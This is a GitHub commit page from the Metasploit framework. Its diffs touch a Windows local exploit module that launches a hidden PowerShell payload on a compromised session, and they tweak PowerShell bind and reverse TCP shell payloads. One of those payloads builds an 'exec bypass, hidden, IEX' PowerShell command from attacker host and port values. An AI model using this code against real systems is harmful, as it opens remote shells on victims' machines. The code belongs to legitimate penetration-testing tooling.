Skip to content

Commit e6c61c4

Browse files
committed
Updated payloads and fixed msftidy.
1 parent ded904c commit e6c61c4

File tree

5 files changed

+12
-218
lines changed

5 files changed

+12
-218
lines changed

modules/exploits/windows/local/interactive_powershell.rb

Lines changed: 4 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -54,60 +54,22 @@ def exploit
5454
payload = datastore['PAYLOAD']
5555

5656
# sysinfo is only on meterpreter sessions
57-
print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
57+
vprint_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
5858

5959
# Check that the payload is a Windows one and on the list
60-
if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
60+
if not session.framework.payloads.keys.grep(/windows/).include?(datastore['PAYLOAD'])
6161
print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")
6262
return
6363
end
6464

65-
pay = client.framework.payloads.create(payload)
66-
pay.datastore['LHOST'] = lhost
67-
pay.datastore['LPORT'] = lport
68-
pay.datastore['RHOST'] = rhost
69-
70-
raw = pay.generate
65+
raw = generate_payload.raw
7166
res = session.sys.process.execute("#{raw}", nil, 'Hidden' => true, 'Channelized' => false)
7267
fail_with(Failure::Unknown,'Failed to start powershell process') unless res && res.pid
7368
computer_name = session.sys.config.sysinfo['Computer']
7469
vprint_status("Started PowerShell on #{computer_name} - PID: #{res.pid}")
7570

76-
if datastore['LHOST'].to_s.empty?
71+
if session.framework.payloads.keys.grep(/bind/).include?(datastore['PAYLOAD'])
7772
print_status("Attemping to connect to #{rhost}:#{lport}...")
78-
ctimeout = 10
79-
stime = Time.now.to_i
80-
last_error = nil
81-
82-
while stime + ctimeout > Time.now.to_i
83-
Rex::ThreadSafe.sleep(2)
84-
begin
85-
client = Rex::Socket::Tcp.create(
86-
'PeerHost' => rhost,
87-
'PeerPort' => lport.to_i,
88-
'Proxies' => datastore['Proxies'],
89-
'Context' =>
90-
{
91-
'Msf' => framework,
92-
'MsfPayload' => payload_instance,
93-
'MsfExploit' => self
94-
})
95-
rescue ::EOFError, Errno::ETIMEDOUT, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e
96-
last_error = e
97-
end
98-
99-
if client
100-
handler(client)
101-
return
102-
end
103-
end
104-
print_warning("If a shell is unsuccesful, ensure you have access to the target host and port.")
105-
print_status("Try adding a route to the host: `route help`")
106-
if last_error
107-
raise last_error
108-
else
109-
fail_with(Failure::Unknown, "Unable to connect")
110-
end
11173
else
11274
print_status("Waiting for connection from #{rhost}:#{lport}...")
11375
end

modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,8 @@ module Metasploit3
1515

1616
def initialize(info = {})
1717
super(merge_info(info,
18-
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
19-
'Description' => 'Listen for a connection and spawn an interactive powershell session',
18+
'Name' => 'Windows Interactive Powershell Session, Bins TCP',
19+
'Description' => 'Interacts with a powershell session on an established socket connection',
2020
'Author' =>
2121
[
2222
'Ben Turner', # benpturner
@@ -47,6 +47,7 @@ def initialize(info = {})
4747

4848
def generate
4949
lport = datastore['LPORT']
50+
lhost = datastore['LHOST']
5051

5152
template_path = File.join(
5253
Msf::Config.data_directory,
@@ -62,14 +63,15 @@ def generate
6263
if datastore['LOAD_MODULES']
6364
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
6465
mods_array.collect(&:strip)
65-
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
66+
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
6667
mods_array.each {|m| vprint_good " #{m}"}
6768
mods = "\"#{mods_array.join("\",\n\"")}\""
6869
script_in << " -Download true\n"
6970
end
7071

7172
script_in.gsub!('MODULES_REPLACE', mods)
72-
script_in.gsub!('LPORTs_REPLACE', lport.to_s)
73+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
74+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
7375

7476
script = Rex::Powershell::Command.compress_script(script_in)
7577
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"

modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ module Metasploit3
1515

1616
def initialize(info = {})
1717
super(merge_info(info,
18-
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
18+
'Name' => 'Windows Interactive Powershell Session, Reverse TCP',
1919
'Description' => 'Interacts with a powershell session on an established socket connection',
2020
'Author' =>
2121
[
@@ -63,7 +63,7 @@ def generate
6363
if datastore['LOAD_MODULES']
6464
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
6565
mods_array.collect(&:strip)
66-
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
66+
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
6767
mods_array.each {|m| vprint_good " #{m}"}
6868
mods = "\"#{mods_array.join("\",\n\"")}\""
6969
script_in << " -Download true\n"

modules/payloads/singles/windows/powershell_bind_tcp.rb

Lines changed: 0 additions & 84 deletions
This file was deleted.

modules/payloads/singles/windows/powershell_reverse_tcp.rb

Lines changed: 0 additions & 86 deletions
This file was deleted.

0 commit comments

Comments
 (0)